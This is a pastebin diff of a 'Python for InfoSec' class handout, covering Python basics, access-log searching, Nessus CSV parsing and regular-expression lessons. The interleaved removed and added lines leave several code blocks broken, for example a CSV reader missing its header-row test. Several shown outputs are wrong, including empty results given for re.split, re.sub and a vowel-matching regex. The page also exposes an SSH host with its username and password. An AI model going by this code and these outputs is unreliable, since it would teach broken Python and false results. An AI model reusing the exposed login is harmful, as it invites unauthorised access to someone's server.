View difference between Paste ID: dM03J8jB and SCiEZsbg

                             ##############################
-Class powerpoint slides:
+
-this document is made for python 2.x https://pastebin.com/Bbtm5hFR
+
-this is the python pastebin 3 https://pastebin.com/SCiEZsbg
+
-http://45.63.104.73/PythonV3-1.pptx
+
 ####################
 # Installing Python#
-this document is made for python 2.x
+
-Courseware Lab Manual
+
-http://45.63.104.73//Python-For-InfoSec-Pros-2015.pdf
+
 https://www.python.org/downloads/
-these videos are python 2.x classes
+
-Class Videos:
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
+
-https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
+
 
-This link is broken
+
-http://45.63.104.73/Python4SecurityPros-Files.zip
+
 http://idlex.sourceforge.net/features.html
 
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
+
-user: infosecaddicts
+
-pass: infosecaddicts
+
 Debian/Ubuntu:		sudo apt-get install -y python
 RHEL/CentOS/Fedora:	sudo yum install -y python
 
-The youtube video playlist that I'd like for you to watch is located here:
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
+
 
 After you install Python in Linux the next thing that you will need to do is install idle.
-How I did it:
+
 ---------------------------Type This-----------------------------------
-Step 1: Watch and do the newboston Python video series twice
+
-https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
+
 
 -----------------------------------------------------------------------
-Step 2:  Watch and do the Google Python workshop twice
+
-https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
+
 
 
-Step 3: Download all of the Python tools from PacketStorm and analyze the source code
+- I prefer to use Putty to SSH into my Linux host.
-https://packetstormsecurity.com/files/tags/python
+- You can download Putty from here:
 - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
 
-This link is broken
+Here is the information to put into putty
-Here is the code from Packet Storm
+
-http://45.63.104.73/PythonReferenceCode.zip
+Host Name:          107.191.39.106
 protocol:           ssh
-I went through almost every single file and looked up the code that I didn't understand.
+port:               22
-I also asked programmers to help me understand the lines of code that didn't make sense.
+username:           sempra
-In the folder  RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
+password:           semprapython3!
-and explain the tool to me.
+
 
-This link is broken
+
-Here is what I got out of doing that:
+# Python Lesson 1: Simple Printing #
-https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
+
 
 ---------------------------Type This-----------------------------------
 $ python3
 
-Distilled that into this:
+
-http://45.63.104.73/Python-Courseware.zip
+
 >>> exit()
 -----------------------------------------------------------------------
 
 
 
 
 ############################################
 # Python Lesson 2: Simple Numbers and Math #
 ############################################
 
 ---------------------------Type This-----------------------------------
 $ python3
 
 >>> 2+2
 
 >>> 6-3
 
 >>> 18/7
 
 >>> 18.0/7
 
 >>> 18.0/7.0
 
 >>> 18/7
 
 >>> 9%4
 1
 >>> 8%4
 0
 >>> 8.75%.5
 
 >>> 6.*7
 
 >>> 7*7*7
 
 >>> 7**3
 
 >>> 5**12
 
 >>> -5**4
 
 >>> exit()
 
 -----------------------------------------------------------------------
 
 
 
 ##############################
 # Python Lesson 3: Variables #
-#Python Lesson   1: Simple Printing #
+##############################
 
 ---------------------------Type This-----------------------------------
 $ python3
-$ python
+
 >>> x=18
 
 >>> x+15
 
 >>> x**3
 
 >>> y=54
 
 >>> g=int(input("Enter number here: "))
-#Python Lesson   2: Simple Numbers and Math #
+
 >>> g
 
 >>> g+32
 
 >>> g**3
 
 >>> exit()
 
 -----------------------------------------------------------------------
 
 
 
 
 
 ##########################################
 # Python Lesson 4: Modules and Functions #
 ##########################################
 
 ---------------------------Type This-----------------------------------
 $ python3
 
 >>> 5**4
 
 >>> pow(5,4)
->>> 6*6*6
+
 >>> abs(-18)
->>> 6**3
+
 >>> abs(5)
 
 >>> floor(18.7)
 
 >>> import math
 
 >>> math.floor(18.7)
 
 >>> math.sqrt(81)
 
 >>> joe = math.sqrt
 
-#Python Lesson   3: Variables #
+
 
 >>> joe=math.floor
 
 >>> joe(19.8)
 
 >>> exit()
 
 -----------------------------------------------------------------------
 
 
 
 ############################
 # Python Lesson 5: Strings #
 ############################
 
 ---------------------------Type This-----------------------------------
 $ python3
 
 >>> "XSS"
 
->>>
+
 
 >>> "Joe's a python lover"
 
 >>> "Joe said \"InfoSec is fun\" to me"
 
 >>> a = "Joe"
 
 >>> b = "McCray"
-#Python Lesson   4: Modules and Functions #
+
 >>> a, b
 
 >>> a+b
 
 >>> exit()
 -----------------------------------------------------------------------
 
 
 
 
 
 #################################
 # Python Lesson 6: More Strings #
 #################################
 
 ---------------------------Type This-----------------------------------
 $ python3
 
 >>> num = 10
 
 >>> num + 2
 
 >>> "The number of open ports found on this system is ",  num
 
 >>> num = str(18)
 
 >>> "There are ", num, " vulnerabilities found in this environment."
 
 >>> num2 = 46
 
 >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is ", + num2
 
 >>> exit()
 -----------------------------------------------------------------------
 
-#Python Lesson   5: Strings #
+
 
 
 
 ########################################
 # Python Lesson 7: Sequences and Lists #
 ########################################
 
 ---------------------------Type This-----------------------------------
 $ python3
 
 >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
 
 >>> attacks
 ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
 
 >>> attacks[3]
 'SQL Injection'
 
 >>> attacks[-2]
 'Cross-Site Scripting'
 
 >>> exit()
 
 
 
 ------------------------------- Summary of fundamentals -------------------------------
 
 
 Joe rule #1 single quote, single quote, left arrow
-#Python Lesson   6: More Strings #
+
 '' <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
 "" <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
 something()	<-- as soon as you type (), then hit your left arrow key to put you inside of the ()
 something[] <-- as soon as you type [], then hit your left arrow key to put you inside of the []
 something{} <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
 
 -- Now kick it up a notch
 []	<-- as soon as you type [], then hit your left arrow key to put you inside of the []
 [()] <-- as soon as you type (), then hit your left arrow key to put you inside of the ()
 [({})] <-- as soon as you type {}, then hit your left arrow key to put you inside of the {}
 [({"''"})] <-- as soon as you type "", then hit your left arrow key to put you inside of the ""
 [({"''"})] <-- as soon as you type '', then hit your left arrow key to put you inside of the ''
 
 
 
 Joe rule #2 "Code can only do 3 things"
 --------------------------------------
 
 Process		- 	read, write, math
 
 Decision	- 	if/then
 
 Loop		- 	for
 
 
 
 
-#Python Lesson   7: Sequences and Lists #
+Joe rule #3 "Never more than 5-10"
 ---------------------------------
 
 -----5 lines of code----
 line 1 blah blah blah
 line 2 blah blah blah
 line 3 blah blah blah
 line 4 blah blah blah
 line 5 blah blah blah
 
 
 	sales_tax	= 	price		* 	tax_rate
 
 
 	0.80		=	10		*	0.08
 
 -----5-10 lines of code---- = function
 	price = 10
 
-###################################
+	def st():
-# Level 8: Intro to Log Analysis #
+		sales_tax = price * 0.08
-###################################
+		print(sales_tax)
 
 
 st(10) <---- how to run a function
 
 -----5-10 functions ---- = class   "tax class"
 st()
 lt()
 pt()
 it()
 dt()
 
 
 
 tax.st()
 tax.lt()
 
 -----5-10 functions ---- = class   "expense class"
 gas()
 elec()
 water()
 food()
 beer()
 
 expense.gas()
 
 
 -----5-10 classes ---- = module   "finance module"
 
-Google the following terms:
+import finance
-    - Python read file
+
-    - Python read line
+
-    - Python read from file
+------------------------------- Summary of fundamentals -------------------------------
 
 ##################################
 # Lesson 8: Intro to Log Analysis #
 ##################################
-################################################################
+
-#Python Lesson   9: Use Python to read in a file line by line  #
+
-################################################################
+
 -----------------------------------------------------------------------
 NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
 
-http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
+
 
 ---------------------------Type This-----------------------------------
 mkdir yourname          <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
 
 cd yourname
 
 wget http://pastebin.com/raw/85zZ5TZX
 
 mv 85zZ5TZX access_log
 
 
 cat access_log | grep 141.101.80.188
 
 cat access_log | grep 141.101.80.188 | wc -l
 
 cat access_log | grep 141.101.80.187
 
 cat access_log | grep 141.101.80.187 | wc -l
 
 cat access_log | grep 108.162.216.204
 
 cat access_log | grep 108.162.216.204 | wc -l
 
 cat access_log | grep 173.245.53.160
 
 cat access_log | grep 173.245.53.160 | wc -l
 
 ----------------------------------------------------------------------
-python logread1.py
+
 
 
 
 
 
 
 ###############################################################
 # Python Lesson 9: Use Python to read in a file line by line  #
 ###############################################################
 
 
 ---------------------------Type This-----------------------------------
 
-exit()
+
 
 
 ---------------------------Paste This-----------------------------------
-exit()
+
 f = open('access_log', "r")
 
 ## use readlines to read all lines in the file
 ## The variable "lines" is a list containing all lines
 lines = f.readlines()
 
 print (lines)
 
 
 ## close the file after reading the lines.
-    ip = line.split(" - ")[0]
+
-    if ip == strUsrinput:
+
-        print (line)
+
 
 
 
 
 ---------------------------Type This-----------------------------------
 $ python3 logread1.py
 ----------------------------------------------------------------------
 
 
 
-python ip_search.py
+
     - python difference between readlines and readline
     - python readlines and readline
 
 
 Here is one student's solution - can you please explain each line of this code to me?
 
 
 ---------------------------Type This-----------------------------------
 nano ip_search.py
 
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/env python3
 
 f = open('access_log')
 
 strUsrinput = input("Enter IP Address: ")
 
 for line in iter(f):
    ip = line.split(" - ")[0]
    if ip == strUsrinput:
        print (line)
 
 f.close()
 
 
 ----------------------------------------------------------------------
-    if ip.find(userinput) != -1:
+
-        print (ip)
+
 
 
 ---------------------------Type This-----------------------------------
 $ python3 ip_search.py
 ----------------------------------------------------------------------
 
-python ip_search2.py
+
 
 Working with another student after class we came up with another solution:
 
 ---------------------------Type This-----------------------------------
-##################################################
+
-# Lession 14: Look for web attacks in a log file #
+
-##################################################
+
 #!/usr/bin/env python
-In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
+
-Supported attacks:
+
-1.	    SQL Injection
+
-2.	    Local File Inclusion
+
-3.	    Remote File Inclusion
+
-4.	    Cross-Site Scripting
+
 lines = f.readlines()
 
 
-the syntax of this code was changed to python 3
+
-python scan_log.py --help
+
 
-wget http://45.63.104.73/scan_log.py
+
 
 # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
 for ip in lines:
-The usage for scan_log.py is simple.  You feed it an apache log file.
+   if ip.find(userinput) != -1:
        print (ip)
 
 ----------------------------------------------------------------------
-cat scan_log.py | less			(use your up/down arrow keys to look through the file)
+
 
 
 ---------------------------Type This-----------------------------------
-Explain to me how this script works.
+$ python3 ip_search2.py
-python scan_log.py --help
+
 
 
 ################################
 # Lesson 10: Parsing CSV Files #
 ################################
-# Lesson 15: Parsing CSV Files #
+
 Type the following commands:
 ---------------------------------------------------------------------------------------------------------
-Dealing with csv files
+
 ---------------------------Type This-----------------------------------
 
-http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
+
 
 ----------------------------------------------------------------------
 
 Example 1 - Reading CSV files
 -----------------------------
 #To be able to read csv formated files, we will first have to import the
 #csv module.
 
 
 ---------------------------Type This-----------------------------------
 $ python3
 f = open('class_nessus.csv', 'r')
 for row in f:
    print (row)
 
 
 ----------------------------------------------------------------------
-$ python
+
-f = open('class_nessus.csv', 'rb')
+
 
-    print (row)
+
 -----------------------------
 
 ---------------------------Type This-----------------------------------
 
 nano readcsv.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/env python3
 f = open('class_nessus.csv', 'r')      # opens the csv file
 try:
     for row in f:           			# iterates the rows of the file in orders
-vi readcsv.py
+        print (row)             		# prints each row
 finally:
     f.close()               			# closing
 
-f = open('class_nessus.csv', 'rb') 		# opens the csv file
+
 
-    for row in f:   		# iterates the rows of the file in orders
+
-        print (row)    			# prints each row
+
 
-    f.close()      			# closing
+
 Ok, now let's run this thing.
 
 --------------------------Type This-----------------------------------
 $ python3 readcsv.py
 
 ----------------------------------------------------------------------
 
 
 
 
-python readcsv.py
+
 -------------------------------
-python readcsv.py class_nessus.csv
+
 ---------------------------Type This-----------------------------------
 
 nano readcsv2.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python3
 # This program will then read it and displays its contents.
 
 import csv
 
-vi readcsv2.py
+ifile  = open('class_nessus.csv', "r")
 reader = csv.reader(ifile)
 
 rownum = 0
 for row in reader:
     # Save header row.
-ifile  = open('class_nessus.csv', "rb")
+
         header = row
     else:
         colnum = 0
-for row in ifile:
+
             print ('%-8s: %s' % (header[colnum], col))
             colnum += 1
 
     rownum += 1
 
 ifile.close()
 
 
 
 ----------------------------------------------------------------------
 
 
 
 ---------------------------Type This-----------------------------------
 
 $ python3 readcsv2.py | less
 
 
 ----------------------------------------------------------------------
 
-python readcsv2.py | less
+
 
 
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 
 nano readcsv3.py
 
 ---------------------------Paste This-----------------------------------
 #!/usr/bin/python3
 import csv
-vi readcsv3.py
+
 try:
     rownum = 0
     reader = csv.reader(f)
     for row in reader:
          #Save header row.
         if rownum == 0:
             header = row
         else:
             colnum = 0
-        #Save header row.
+
                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
         rownum += 1
 finally:
     f.close()
 
-                print(('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])))
+
 
 
 ---------------------------Type This-----------------------------------
 
 $ python3 readcsv3.py | less
 -----------------------------------------------------------------------
 
 
 
-python readcsv3.py | less
+
 
 nano readcsv4.py
 -----------------------------------------------------------------------
 
 ---------------------------Paste This-----------------------------------
 
-vi readcsv4.py
+#!/usr/bin/python3
 import csv
 f = open('class_nessus.csv', 'r')
 try:
     print ('/---------------------------------------------------/')
     rownum = 0
     hosts = {}
     reader = csv.reader(f)
     for row in reader:
-    print('/---------------------------------------------------/')
+
         if rownum == 0:
             header = row
         else:
             colnum = 0
             if row[3].lower() == 'high' and row[4] not in hosts:
                 hosts[row[4]] = row[4]
                 print ('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
         rownum += 1
 finally:
     f.close()
 ----------------------------------------------------------------------
-                print('%-1s: %s     %-1s: %s     %-1s: %s     %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
+
 
 
 $ python3 readcsv4.py | less
 
 ----------------------------------------------------------------------
-python readcsv4.py | less
+
 
                             ######################################################
 ----------- ############### # Day 2: Regular Expressions, Functions, and Classes # ############### -----------
                             ######################################################
 
 #######################
 # Regular Expressions #
 #######################
 
 
 
 **************************************************
 * What is Regular Expression and how is it used? *
 **************************************************
 
 
 Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
 
 
 Regular expressions use two types of characters:
 
 a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
 
 b) Literals (like a,b,1,2…)
 
 
 In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
 
 
 Use this code --> import re
 
 
 
 
 The most common uses of regular expressions are:
 --------------------------------------------------
 
 - Search a string (search and match)
 - Finding a string (findall)
 - Break string into a sub strings (split)
 - Replace part of a string (sub)
 
 
 
 Let's look at the methods that library "re" provides to perform these tasks.
 
 
 
 ****************************************************
 * What are various methods of Regular Expressions? *
 ****************************************************
 
 
 The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
 
-f = open("quick.pcap","rb")
+
 re.search()
 re.findall()
 re.split()
 re.sub()
 re.compile()
 
 Let's look at them one by one.
 
 
 re.match(pattern, string):
 -------------------------------------------------
 
 This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
 
 Code
 ---------------------------Type This-----------------------------------
-python quickpcap.py
+$ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 <_sre.SRE_Match object at 0x0000000009BE4370>
 
 Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result.group(0))
 ----------------------------------------------------------------------
 
 Output:
 AV
 
 
 Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'Analytics', 'AV Analytics ESET AV')
 print (result)
 
 ----------------------------------------------------------------------
 
 
 Output:
 None
 
 
 There are methods like start() and end() to know the start and end position of matching pattern in the string.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result.start())
 print (result.end())
 
 ----------------------------------------------------------------------
 
 Output:
 0
 2
 
 Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
 
 
-f = open('capture-100.pcap','rb')
+
 
 
 re.search(pattern, string):
 -----------------------------------------------------
 
 
 It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.search(r'Analytics', 'AV Analytics ESET AV')
 print (result.group(0))
 ----------------------------------------------------------------------
 
 Output:
 Analytics
 
 Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
 
 
 
-python pcapparsing.py
+
 
 
 re.findall (pattern, string):
 ------------------------------------------------------
 
 
 It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.findall(r'AV', 'AV Analytics ESET AV')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['AV', 'AV']
 
 
 
 
 
 re.split(pattern, string, [maxsplit=0]):
 ------------------------------------------------------
 
 
 
 This methods helps to split string by the occurrences of given pattern.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 result=re.split(r'y','Analytics')
 result
  ----------------------------------------------------------------------
 
 Output:
 ['Anal', 'tics']
 
 Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.split(r's','Analytics eset')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.split(r's','Analytics eset',maxsplit=1)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 []
 
 
 
 
 
 re.sub(pattern, repl, string):
 ----------------------------------------------------------
 
 It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.sub(r'Ruby','Python','Joe likes Ruby')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ''
 
 
 
 
 
 re.compile(pattern, repl, string):
 ----------------------------------------------------------
 
 
 We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 pattern=re.compile('XSS')
 result=pattern.findall('XSS is Cross Site Scripting, XSS')
 print (result)
 result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
 print (result2)
 
 ----------------------------------------------------------------------
 
 Output:
 ['XSS', 'XSS']
 ['XSS']
 
 Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
 
 This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
 
 
 
 
 
 **********************************************
 * What are the most commonly used operators? *
 **********************************************
 
 
 Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
 
 Operators   Description
 .           Matches with any single character except newline ‘\n'.
 ?           match 0 or 1 occurrence of the pattern to its left
 +           1 or more occurrences of the pattern to its left
 *           0 or more occurrences of the pattern to its left
 \w          Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
 \d          Matches with digits [0-9] and /D (upper case D) matches with non-digits.
 \s          Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
 \b          boundary between word and non-word and /B is opposite of /b
 [..]            Matches any single character in a square bracket and [^..] matches any single character not in square bracket
 \           It is used for special meaning characters like \. to match a period or \+ for plus sign.
 ^ and $         ^ and $ match the start or end of the string respectively
 {n,m}           Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
 a| b            Matches either a or b
 ( )         Groups regular expressions and returns matched text
 \t, \n, \r  Matches tab, newline, return
 
 
 For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
 
 Now, let's understand the pattern operators by looking at the below examples.
 
 
 
 ****************************************
 * Some Examples of Regular Expressions *
 ****************************************
 
 ******************************************************
 * Problem 1: Return the first word of a given string *
 ******************************************************
 
 
 Solution-1  Extract each character (using "\w")
-python
+
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'.','Python is the best scripting language')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 Above, space is also extracted, now to avoid it use "\w" instead of ".".
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 
 
 Solution-2  Extract each word (using "*" or "+")
 ---------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w*','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
 
 
 Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best', 'scripting', 'language']
 
 
 
 
 Solution-3 Extract each word (using "^")
 -------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'^\w+','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python']
 
 If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+$','Python is the best scripting language')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 [‘language']
 
 
 
 
 
 **********************************************************
 * Problem 2: Return the first two character of each word *
 **********************************************************
 
 
 
 
 Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
-python tcpserver.py
+
 
 Code
 ---------------------------Type This-----------------------------------
-python tcpclient.py
+$ python3
 import re
 result=re.findall(r'\w\w','Python is the best')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
 
 
 
 
 
 Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
 ------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b\w.','Python is the best')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'is', 'th', 'be']
 
 
 
 
 
 
 ********************************************************
 * Problem 3: Return the domain type of given email-ids *
 ********************************************************
 
 
 To explain it in simple manner, I will again go with a stepwise approach:
 
 
 
 
 
 Solution-1  Extract all characters after "@"
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 ----------------------------------------------------------------------
 
 Output: ['@gmail', '@test', '@strategicsec', '@rest']
 
 
 
 Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
 
 
-python udpserver.py
+
 
 
 
-python udpclient.py
+
 -----------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['com', 'com', 'com', 'biz']
 
 
 
-#!/bin/python
+
 * Problem 4: Return date from given string *
 ********************************************
-#!/bin/python
+
 
 Here we will use "\d" to extract digit.
 
 
 Solution:
 ----------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 
 result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['12-05-2007', '11-11-2016', '12-01-2009']
 
 If you want to extract only year again parenthesis "( )" will help you.
 
 
 Code
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['2007', '2016', '2009']
 
 
 
 
 
 *******************************************************************
 * Problem 5: Return all words of a string those starts with vowel *
 *******************************************************************
 
 
 
 
 Solution-1  Return each words
 -----------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+','Python is the best')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best']
 
 
 
 
 
 Solution-2  Return words starts with alphabets (using [])
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['ove', 'on']
 
 Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
 
 
 
 
 
 Solution- 3
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 []
 
 In similar ways, we can extract words those starts with constant using "^" within square bracket.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 [' love', ' Python']
 
 Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['love', 'Python']
 
 
 
 
 
 
 *************************************************************************************************
 * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
 *************************************************************************************************
 
 
 We have a list phone numbers in list "li" and here we will validate phone numbers using regular
 
 
 
 
 Solution
 -------------------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 li=['9999999999','999999-999','99999x9999']
 for val in li:
     if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
         print ('yes')
     else:
         print ('no')
 
 
 ----------------------------------------------------------------------
 
 Output:
 yes
 no
 no
 
 
 
 
 
 ******************************************************
 * Problem 7: Split a string with multiple delimiters *
